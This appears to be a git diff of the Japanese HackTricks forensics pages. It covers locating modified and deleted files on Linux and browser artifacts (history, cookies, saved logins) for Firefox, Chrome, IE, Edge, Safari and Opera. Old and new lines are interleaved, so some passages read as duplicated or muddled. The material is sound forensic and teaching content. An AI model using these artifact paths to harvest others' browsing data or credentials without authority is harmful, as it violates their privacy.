2. **File System Analysis**: Examine the file system for any recently modified files. Tools like `find`, `ls`, or `stat` can help you identify files with recent modification timestamps.
|
||||
|
||||
3. **File Integrity Monitoring (FIM)**: Use FIM tools like `Tripwire` or `AIDE` to monitor and detect changes in critical system files. These tools can generate reports highlighting any modifications.
|
||||
3. **Log Analysis**: Review system logs, such as `/var/log/syslog` or `/var/log/auth.log`, for any unusual activities or events that may indicate modifications.
|
||||
|
||||
4. **Version Control Systems**: If the system uses version control systems like `Git`, you can check the commit history to identify any recent changes made to files.
|
||||
4. **Metadata Analysis**: Analyze file metadata, such as file permissions, ownership, and timestamps, to identify any discrepancies or unauthorized changes. Tools like `stat`, `ls`, or `file` can provide this information.
|
||||
|
||||
5. **System Audit Logs**: Review system audit logs, such as those generated by `auditd`, to identify any unauthorized modifications or access to files.
|
||||
5. **Hash Comparison**: Calculate and compare file hashes to detect any modifications. Tools like `md5sum`, `sha1sum`, or `sha256sum` can be used for this purpose.
|
||||
|
||||
6. **Memory Analysis**: Analyze the system's memory using tools like `Volatility` to identify any suspicious processes or modifications in memory.
|
||||
6. **Memory Analysis**: Perform memory forensics to identify any modified or injected processes. Tools like `Volatility` or `LiME` can help you analyze the system's memory.
|
||||
|
||||
Remember to document any findings and preserve the integrity of the evidence during the investigation process.
|
||||
Remember to document your findings and maintain a chain of custody to ensure the integrity of the evidence.
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
#### 削除されたファイルの検索
|
||||
|
||||
To find deleted files on a Linux system, you can use various techniques and tools. Here are some methods you can try:
|
||||
Deleted files can often be recovered during a forensic investigation. When a file is deleted, it is not immediately removed from the storage device. Instead, the file system marks the space occupied by the file as available for reuse. This means that the file's content may still exist on the disk until it is overwritten by new data.
|
||||
|
||||
1. **File Recovery Tools**: Use specialized file recovery tools like `extundelete`, `testdisk`, or `foremost` to scan the file system and recover deleted files.
|
||||
削除されたファイルは、フォレンジック調査中にしばしば回復することができます。ファイルが削除されると、ストレージデバイスから直ちに削除されるわけではありません。代わりに、ファイルシステムはファイルが占めていたスペースを再利用可能としてマークします。つまり、新しいデータによって上書きされるまで、ファイルの内容はディスク上に残る可能性があります。
|
||||
|
||||
2. **File System Journal**: Check the file system journal to identify recently deleted files. The journal records metadata changes, including file deletions. Tools like `jcat` and `icat` can help you analyze the journal.
|
||||
To find deleted files on a Linux system, you can use various tools and techniques. Here are some common methods:
|
||||
|
||||
3. **Inode Analysis**: Inodes store information about files on a Linux system. By examining the inode table, you can identify deleted files that still have their metadata intact. Tools like `istat` and `ifind` can assist in this analysis.
|
||||
Linuxシステム上で削除されたファイルを見つけるために、さまざまなツールと技術を使用することができます。以下に一般的な方法をいくつか紹介します。
|
||||
|
||||
4. **Carving**: File carving involves searching for file signatures or specific file headers in unallocated disk space. This technique can help recover deleted files that no longer have their metadata available. Tools like `scalpel` and `foremost` are commonly used for file carving.
|
||||
1. **File Carving**: File carving is a technique used to recover deleted files by searching for file signatures or headers in unallocated disk space. Tools like `foremost` and `scalpel` can be used for file carving.
|
||||
|
||||
Remember to work on a copy of the disk or partition to avoid modifying the original data. Additionally, it's crucial to document your findings and follow proper forensic procedures to maintain the integrity of the evidence.
|
||||
**ファイルカービング**: ファイルカービングは、割り当てられていないディスク領域でファイルのシグネチャやヘッダを検索して削除されたファイルを回復するための技術です。`foremost`や`scalpel`などのツールを使用してファイルカービングを行うことができます。
|
||||
|
||||
#### 削除されたファイルを見つける
|
||||
2. **Metadata Analysis**: Metadata of files, such as timestamps and file attributes, can provide valuable information about deleted files. Tools like `exiftool` and `fsstat` can be used to analyze file metadata.
|
||||
|
||||
Linuxシステム上で削除されたファイルを見つけるために、さまざまな手法とツールを使用することができます。以下にいくつかの試みるべき方法を示します:
|
||||
**メタデータの分析**: タイムスタンプやファイル属性などのファイルのメタデータは、削除されたファイルに関する貴重な情報を提供することができます。`exiftool`や`fsstat`などのツールを使用してファイルのメタデータを分析することができます。
|
||||
|
||||
1. **ファイル復元ツール**:`extundelete`、`testdisk`、または`foremost`などの専門のファイル復元ツールを使用して、ファイルシステムをスキャンし、削除されたファイルを回復します。
|
||||
3. **File System Journal**: Some Linux file systems, such as ext3 and ext4, maintain a journal that records file system changes. This journal can be analyzed to identify deleted files. Tools like `extundelete` and `debugfs` can be used to examine the file system journal.
|
||||
|
||||
2. **ファイルシステムジャーナル**:ファイルシステムジャーナルをチェックして、最近削除されたファイルを特定します。ジャーナルは、ファイルの削除を含むメタデータの変更を記録します。`jcat`や`icat`などのツールを使用して、ジャーナルを分析することができます。
|
||||
**ファイルシステムジャーナル**: ext3やext4などの一部のLinuxファイルシステムは、ファイルシステムの変更を記録するジャーナルを保持しています。このジャーナルを分析して削除されたファイルを特定することができます。`extundelete`や`debugfs`などのツールを使用してファイルシステムジャーナルを調査することができます。
|
||||
|
||||
3. **Inodeの分析**:InodeはLinuxシステム上のファイルに関する情報を格納しています。Inodeテーブルを調査することで、メタデータが残っている削除されたファイルを特定することができます。`istat`や`ifind`などのツールがこの分析をサポートします。
|
||||
4. **System Logs**: System logs can contain information about file deletions. Tools like `grep` can be used to search for relevant log entries.
|
||||
|
||||
4. **カービング**:カービングは、未割り当てのディスク領域でファイルのシグネチャや特定のファイルヘッダを検索する手法です。この技術を使用すると、メタデータが利用できなくなった削除されたファイルを回復することができます。`scalpel`や`foremost`などのツールがファイルカービングによく使用されます。
|
||||
**システムログ**: システムログにはファイルの削除に関する情報が含まれている場合があります。`grep`などのツールを使用して関連するログエントリを検索することができます。
|
||||
|
||||
元のデータを変更しないために、ディスクまたはパーティションのコピーで作業することを忘れないでください。また、証拠の完全性を保つために、調査結果を文書化し、適切な法的手続きに従うことが重要です。
|
||||
Remember that the success of recovering deleted files depends on various factors, such as the time elapsed since deletion and the extent of disk activity. It is important to perform forensic analysis as soon as possible to increase the chances of successful file recovery.
|
||||
|
||||
削除されたファイルの回復の成功は、削除後の経過時間やディスクのアクティビティの範囲など、さまざまな要素に依存します。成功したファイルの回復の可能性を高めるために、できるだけ早くフォレンジック分析を実施することが重要です。
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
|
||||
```
|
||||
|
@ -454,9 +531,9 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
|
|||
|
||||
**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…[*]]`**
|
||||
|
||||
追加されたファイル (`A`)、コピーされたファイル (`C`)、削除されたファイル (`D`)、変更されたファイル (`M`)、名前が変更されたファイル (`R`)、タイプが変更されたファイル(通常のファイル、シンボリックリンク、サブモジュールなど) (`T`)、マージされていないファイル (`U`)、不明なファイル (`X`)、ペアリングが壊れたファイル (`B`) のみを選択します。フィルター文字の組み合わせには、任意の組み合わせ(なしも含む)が使用できます。組み合わせに `*`(全てまたは無し)が追加されると、比較に他の基準に一致するファイルがある場合、すべてのパスが選択されます。他の基準に一致するファイルがない場合、何も選択されません。
|
||||
追加されたファイル (`A`)、コピーされたファイル (`C`)、削除されたファイル (`D`)、変更されたファイル (`M`)、名前が変更されたファイル (`R`)、タイプが変更されたファイル(通常のファイル、シンボリックリンク、サブモジュールなど) (`T`)、マージされていないファイル (`U`)、不明なファイル (`X`)、ペアリングが壊れたファイル (`B`) のみを選択します。フィルター文字の組み合わせには、任意の組み合わせが使用できます(組み合わせに `*`(すべてまたはなし)が追加された場合、他の基準に一致するファイルがある場合はすべてのパスが選択されます。他の基準に一致するファイルがない場合は、何も選択されません)。
|
||||
|
||||
また、これらの大文字の文字は、除外するために小文字にすることもできます。例:`--diff-filter=ad` は追加されたパスと削除されたパスを除外します。
|
||||
また、これらの大文字の文字は除外するために小文字にすることもできます。例:`--diff-filter=ad` は追加されたファイルと削除されたファイルを除外します。
|
||||
|
||||
すべての差分がすべてのタイプを持つわけではないことに注意してください。たとえば、インデックスから作業ツリーへの差分には、追加されたエントリが存在しない場合があります(差分に含まれるパスのセットはインデックスに含まれるものに制限されるため)。同様に、コピーされたエントリと名前が変更されたエントリは、それらのタイプの検出が無効になっている場合には表示されません。
|
||||
|
||||
|
@ -471,18 +548,18 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
|
|||
|
||||
**サイバーセキュリティ企業で働いていますか?** **HackTricks**で**あなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
**ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化しましょう。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -12,10 +12,10 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化しましょう。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -39,26 +39,26 @@
|
|||
* **ファビコン:** タブ、URL、ブックマークなどで見つかる小さなアイコンです。ユーザーが訪れたウェブサイトや場所に関する追加情報を取得するための別の情報源として使用できます。
|
||||
* **ブラウザセッション:** 自己説明的です。
|
||||
* **ダウンロード:** 自己説明的です。
|
||||
* **フォームデータ:** フォーム内に入力された内容は、ブラウザによって保存されることが多いため、次回ユーザーがフォームに入力する際に以前に入力されたデータをブラウザが提案できます。
|
||||
* **フォームデータ:** フォーム内に入力された内容は、ブラウザによって保存されることがあります。したがって、次回ユーザーがフォームに入力する際に、ブラウザは以前に入力されたデータを提案することができます。
|
||||
* **サムネイル:** 自己説明的です。
|
||||
* **カスタム辞書.txt:** ユーザーによって辞書に追加された単語。
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefoxは、\~/_**.mozilla/firefox/**_(Linux)、**/Users/$USER/Library/Application Support/Firefox/Profiles/**(MacOS)、_**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_(Windows)にプロファイルフォルダを作成します。\
|
||||
このフォルダ内には、ユーザープロファイルの名前が記載された_**profiles.ini**_ファイルが表示されるはずです。\
|
||||
各プロファイルには、そのデータが保存されるフォルダの名前を示す「**Path**」変数があります。フォルダは、_profiles.ini_ファイルと同じディレクトリに存在するはずです。存在しない場合は、おそらく削除されたものです。
|
||||
このフォルダ内には、ユーザープロファイルの名前が記載された _**profiles.ini**_ ファイルが表示されるはずです。\
|
||||
各プロファイルには、そのデータが保存されるフォルダの名前を示す "**Path**" 変数があります。このフォルダは、_profiles.ini_ と同じディレクトリに存在するはずです。存在しない場合は、おそらく削除されたものです。
|
||||
|
||||
各プロファイルのフォルダ(_\~/.mozilla/firefox/\<ProfileName>/_)内には、次の興味深いファイルが見つかるはずです。
|
||||
各プロファイルのフォルダ(_\~/.mozilla/firefox/\<ProfileName>/_)内には、次の興味深いファイルがあるはずです。
|
||||
|
||||
* _**places.sqlite**_:履歴(moz\_\_places)、ブックマーク(moz\_bookmarks)、およびダウンロード(moz\_\_annos)に関するデータ。Windowsでは、ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して、_**places.sqlite**_内の履歴を読み取ることができます。
|
||||
* _**places.sqlite**_:履歴(moz\_\_places)、ブックマーク(moz\_bookmarks)、およびダウンロード(moz\_\_annos)に関するデータ。Windowsでは、ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して、_**places.sqlite**_ 内の履歴を読み取ることができます。
|
||||
* 履歴をダンプするクエリ:`select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;`
|
||||
* リンクタイプは、以下のように示される番号です:
|
||||
* 1:ユーザーがリンクをクリックしました
|
||||
* 2:ユーザーがURLを入力しました
|
||||
* 3:ユーザーがお気に入りを使用しました
|
||||
* 4:Iframeからロードされました
|
||||
* 5:HTTPリダイレクト301経由でアクセスされました
|
||||
* 4:Iframeから読み込まれました
|
||||
* 5:HTTPリダイレクト301経由でアクセスされ
|
||||
* _**logins.json**_ : 暗号化されたユーザー名とパスワード
|
||||
* **ブラウザの組み込みのフィッシング対策:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
|
||||
* セーフサーチ設定が無効にされている場合、"safebrowsing.malware.enabled"と"phishing.enabled"がfalseとして返されます
|
||||
|
@ -84,7 +84,7 @@ done < $passfile
|
|||
|
||||
## Google Chrome
|
||||
|
||||
Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config/google-chrome/**_(Linux)、_**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_(Windows)、または_**/Users/$USER/Library/Application Support/Google/Chrome/**_(MacOS)にプロファイルを作成します。ほとんどの情報は、前述のパス内の_**Default/**_または_**ChromeDefaultData/**_フォルダに保存されます。ここで、次の興味深いファイルを見つけることができます:
|
||||
Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config/google-chrome/**_(Linux)、_**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_(Windows)、または_**/Users/$USER/Library/Application Support/Google/Chrome/**_(MacOS)にプロファイルを作成します。ほとんどの情報は、前述のパス内の_Default/_または_ChromeDefaultData/_フォルダに保存されます。ここで、次の興味深いファイルを見つけることができます:
|
||||
|
||||
* _**History**_:URL、ダウンロード、さらには検索キーワードまで。Windowsでは、ツール[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)を使用して履歴を読み取ることができます。"Transition Type"列の意味は次のとおりです:
|
||||
* Link:ユーザーがリンクをクリックしました
|
||||
|
@ -104,28 +104,28 @@ Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config
|
|||
* _**Last Session**_および_**Last Tabs**_:これらのファイルには、Chromeが最後に閉じられたときにブラウザでアクティブだったサイトが保存されています。
|
||||
* _**Extensions**_:拡張機能とアドオンのフォルダ
|
||||
* **Thumbnails**:サムネイル
|
||||
* **Preferences**:このファイルには、プラグイン、拡張機能、ジオロケーションを使用するサイト、ポップアップ、通知、DNSプリフェッチング、証明書例外など、多くの有用な情報が含まれています。特定のChromeの設定が有効になっているかどうかを調査しようとしている場合、おそらくこの設定をここで見つけることができるでしょう。
|
||||
* **Preferences**:このファイルには、プラグイン、拡張機能、ジオロケーションを使用するサイト、ポップアップ、通知、DNSプリフェッチング、証明書の例外など、多くの有用な情報が含まれています。特定のChromeの設定が有効になっているかどうかを調査しようとしている場合、おそらくこの設定をここで見つけることができるでしょう。
|
||||
* **ブラウザの組み込みのフィッシング対策**:`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を使用します
|
||||
* 単純に「**safebrowsing**」をgrepして、結果の中で`{"enabled: true,"}`を見つけると、フィッシング対策とマルウェア保護がオンになっていることを示します。
|
||||
* 単純に「**safebrowsing**」をgrepして、結果に`{"enabled: true,"}`があるかどうかを確認すると、フィッシング対策とマルウェア保護が有効になっていることがわかります。
|
||||
|
||||
## **SQLite DBデータの回復**
|
||||
|
||||
前のセクションで観察できるように、ChromeとFirefoxの両方がデータを保存するために**SQLite**データベースを使用しています。ツール[**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用して、削除されたエントリを回復することができます。
|
||||
前のセクションで観察できるように、ChromeとFirefoxの両方がデータを保存するために**SQLite**データベースを使用しています。ツール[**sqlparse**](https://github.com/padfoot999/sqlparse)または[**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用して、削除されたエントリを回復することが可能です。
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorerは、データとメタデータを異なる場所に保存します。メタデータを使用してデータを見つけることができます。
|
||||
|
||||
メタデータは、フォルダ`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`にあります(VXはV01、V16、またはV24になります)。\
|
||||
前のフォルダには、ファイルV01.logもあります。このファイルの**変更時刻**とWebcacheVX.dataファイルの**異なる場合**、コマンド`esentutl /r V01 /d`を実行して、可能な**非互換性**を修正する必要があります。
|
||||
前のフォルダには、ファイルV01.logも含まれています。このファイルの**変更時刻**とWebcacheVX.dataファイルの**異なる場合**、コマンド`esentutl /r V01 /d`を実行して、可能な**非互換性**を修正する必要があります。
|
||||
|
||||
このアーティファクトを**回復**した後(これはESEデータベースであり、photorecを使用してExchange DatabaseまたはEDBのオプションで回復できます)、プログラム[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。開いたら、"**Containers**"という名前のテーブルに移動します。
|
||||
|
||||
![](<../../../.gitbook/assets/image (446).png>)
|
||||
|
||||
このテーブルの中で、保存された情報の各部分がどの他のテーブルまたはコンテナに保存されているかを見つけることができます。それに続いて、ブラウザによって保存されたデータの**場所**と**メタデータ**を見つけることができます。
|
||||
このテーブルの中には、保存された情報の各部分がどの他のテーブルまたはコンテナに保存されているかが記載されています。それに続いて、ブラウザによって保存されたデータの場所とメタデータが示されています。
|
||||
|
||||
**このテーブルは、他のMicrosoftのツール(例:skype)のキャッシュのメタデータも示していることに注意してください**
|
||||
**このテーブルは、他のMicrosoftツール(例:skype)のキャッシュのメタデータも示しています**
|
||||
|
||||
### キャッシュ
|
||||
|
||||
|
@ -148,7 +148,7 @@ Internet Explorerは、データとメタデータを異なる場所に保存し
|
|||
|
||||
キャッシュ情報は、_**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_および_**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_にあります。
|
||||
|
||||
これらのフォルダ内の情報は、ユーザーが表示していた内容の**スナップショット**です。キャッシュのサイズは**250 MB**であり、タイムスタンプはページが訪問された時点(初回、NTFSの作成日、最後の時間、NTFSの変更日時)を示しています。
|
||||
これらのフォルダ内の情報は、ユーザーが表示していた内容のスナップショットです。キャッシュのサイズは**250 MB**であり、タイムスタンプはページが訪問された時点(初回、NTFSの作成日、最後の時間、NTFSの変更日時)を示しています。
|
||||
|
||||
### クッキー
|
||||
|
||||
|
@ -175,81 +175,79 @@ Internet Explorerは、データとメタデータを異なる場所に保存し
|
|||
|
||||
#### **メタデータ**
|
||||
|
||||
[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)というツールを使用して、ダウンロードのメタデータを含むコンテナを確認できます。
|
||||
ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)をチェックすると、ダウンロードのメタデータが含まれるコンテナを見つけることができます。
|
||||
|
||||
![](<../../../.gitbook/assets/image (445).png>)
|
||||
|
||||
"ResponseHeaders"列の情報を取得し、その情報を16進数から変換することで、ダウンロードされたファイルのURL、ファイルタイプ、および場所を取得できます。
|
||||
「ResponseHeaders」列の情報を取得し、その情報を16進数から変換することで、URL、ファイルの種類、ダウンロードされたファイルの場所を取得できます。
|
||||
|
||||
#### ファイル
|
||||
|
||||
パス _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ を確認してください。
|
||||
パス「_**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_」を確認してください。
|
||||
|
||||
### **履歴**
|
||||
|
||||
[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)というツールを使用して履歴を読み取ることができます。ただし、最初にブラウザと抽出された履歴ファイルの場所を指定する必要があります。
|
||||
ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して履歴を読み取ることができます。ただし、最初にブラウザと抽出された履歴ファイルの場所を指定する必要があります。
|
||||
|
||||
#### **メタデータ**
|
||||
|
||||
* ModifiedTime: URLが最初に見つかった時刻
|
||||
* AccessedTime: 最後のアクセス時刻
|
||||
* AccessCount: アクセス回数
|
||||
* ModifiedTime:URLが最初に見つかった時刻
|
||||
* AccessedTime:最後の時刻
|
||||
* AccessCount:アクセス回数
|
||||
|
||||
#### **ファイル**
|
||||
|
||||
_**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ および _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ を検索してください。
|
||||
「_**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_」および「_**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_」を検索します。
|
||||
|
||||
### **入力済みのURL**
|
||||
|
||||
この情報は、レジストリのNTDUSER.DAT内のパスに見つけることができます。
|
||||
この情報は、レジストリNTDUSER.DATのパス「_**Software\Microsoft\InternetExplorer\TypedURLs**_」にあります。
|
||||
|
||||
* _**Software\Microsoft\InternetExplorer\TypedURLs**_
|
||||
* ユーザーが入力した最後の50のURLを保存します
|
||||
* _**Software\Microsoft\InternetExplorer\TypedURLsTime**_
|
||||
* URLが入力された最後の時刻を保存します
|
||||
* ユーザーが入力した最後の50個のURLを保存します。
|
||||
* 「_**Software\Microsoft\InternetExplorer\TypedURLsTime**_」には、URLが最後に入力された時刻が保存されます。
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edgeのアーティファクトを分析するためには、前のセクション(IE 11)のキャッシュと場所に関する説明がすべて有効であることに注意してください。ただし、この場合のベースの場所は _**%userprofile%\Appdata\Local\Packages**_ です(次のパスで確認できます):
|
||||
Microsoft Edgeのアーティファクトを分析するために、前のセクション(IE 11)のキャッシュと場所に関する説明はすべて有効ですが、基本的な場所は「_**%userprofile%\Appdata\Local\Packages**_」です(次のパスで確認できます)。
|
||||
|
||||
* プロファイルパス: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_
|
||||
* 履歴、クッキー、ダウンロード: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_
|
||||
* 設定、ブックマーク、読み取りリスト: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_
|
||||
* キャッシュ: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_
|
||||
* 最後のアクティブなセッション: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_
|
||||
* プロファイルパス:「_**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_」
|
||||
* 履歴、クッキー、ダウンロード:「_**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_」
|
||||
* 設定、ブックマーク、読み取りリスト:「_**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_」
|
||||
* キャッシュ:「_**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_」
|
||||
* 最後のアクティブなセッション:「_**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_」
|
||||
|
||||
## **Safari**
|
||||
|
||||
データベースは `/Users/$User/Library/Safari` にあります。
|
||||
データベースは`/Users/$User/Library/Safari`にあります。
|
||||
|
||||
* **History.db**: `history_visits`テーブルと`history_items`テーブルには、履歴とタイムスタンプに関する情報が含まれています。
|
||||
* **History.db**:`history_visits`と`history_items`テーブルには、履歴とタイムスタンプに関する情報が含まれています。
|
||||
* `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"`
|
||||
* **Downloads.plist**: ダウンロードされたファイルに関する情報が含まれています。
|
||||
* **Book-marks.plist**: ブックマークされたURL。
|
||||
* **TopSites.plist**: ユーザーが最も頻繁に閲覧するウェブサイトのリスト。
|
||||
* **Extensions.plist**: 古いスタイルのSafariブラウザ拡張機能のリストを取得するために使用します。
|
||||
* **Downloads.plist**:ダウンロードされたファイルに関する情報が含まれています。
|
||||
* **Book-marks.plist**:ブックマークされたURL。
|
||||
* **TopSites.plist**:ユーザーが最も頻繁に閲覧するウェブサイトのリスト。
|
||||
* **Extensions.plist**:古いスタイルのSafariブラウザ拡張機能のリストを取得するために使用します。
|
||||
* `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case`
|
||||
* `pluginkit -mDvvv -p com.apple.Safari.extension`
|
||||
* **UserNotificationPermissions.plist**: 通知を送信することが許可されているドメイン。
|
||||
* **UserNotificationPermissions.plist**:通知をプッシュすることが許可されているドメイン。
|
||||
* `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'`
|
||||
* **LastSession.plist**: ユーザーがSafariを終了したときに開かれていたタブ。
|
||||
* **LastSession.plist**:ユーザーがSafariを終了したときに開かれていたタブ。
|
||||
* `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate`
|
||||
* **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`
|
||||
* **ブラウザの組み込みのフィッシング対策**:`defaults read com.apple.Safari WarnAboutFraudulentWebsites`
|
||||
* 設定が有効であることを示すために、返答は1である必要があります
|
||||
|
||||
## Opera
|
||||
|
||||
データベースは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` にあります。
|
||||
データベースは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあります。
|
||||
|
||||
Operaは、Google Chromeとまったく同じ形式でブラウザの履歴とダウンロードデータを保存します。これは、ファイル名だけでなく、テーブル名にも適用されます。
|
||||
|
||||
* **ブラウザの組み込みのフィッシング対策**: `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
|
||||
* **fraud\_protection\_enabled** は **true** である必要があります
|
||||
* **ブラウザの組み込みのフィッシング対策**:`grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
|
||||
* **fraud\_protection\_enabled**は**true**である必要があります
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -258,10 +256,10 @@ Operaは、Google Chromeとまったく同じ形式でブラウザの履歴と
|
|||
|
||||
